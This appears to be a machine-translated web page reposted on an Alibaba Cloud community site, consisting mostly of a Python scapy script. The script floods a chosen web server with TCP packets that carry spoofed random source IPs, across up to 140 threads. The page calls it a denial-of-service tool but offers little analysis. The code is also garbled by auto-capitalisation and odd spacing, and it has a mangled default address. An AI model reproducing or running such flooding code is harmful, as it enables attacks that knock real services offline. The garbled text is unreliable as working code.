Analyze the DOS code of the python Server

Source: Internet
Author: User
The following python code can launch denial-of-service (DoS) attacks on web servers:


#-*-Coding: cp936 -*-
From scapy. all import *
From threading import Thread, activeCount
From random import randint

Class Loop (Thread ):
Def _ init _ (self, remoteAddr ):
Thread. _ init _ (self)
Self. remoteAddr = remoteAddr

Def run (self ):
Ip = str (randint (0,255) + '.'\
+ Str (randint (0,255) + '.'\
+ Str (randint (0,255) + '.'\
+ Str (randint (0,255 ))
Sr1 (IP (src = ip, dst = self. remoteAddr)/TCP (dport = 80), retry = 0, verbose = 0, timeout = 3)


Class Main (Thread ):
Def _ init _ (self, remoteAddr ):
Thread. _ init _ (self)
Self. remoteAddr = remoteAddr

Def run (self ):
Limit = 140
Total = 0

While True:
If activeCount () <limit:
Loop (remoteAddr = self. remoteAddr). start ()
Total = total + 1
Print 'The number of times HttpFlood has been performed: ', total

If _ name _ = '_ main __':
RemoteAddr = raw_input ('IP = ')
If remoteAddr = '':
RemoteAddr = '2017. 103.25.12'

Main (remoteAddr = remoteAddr). start ()

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.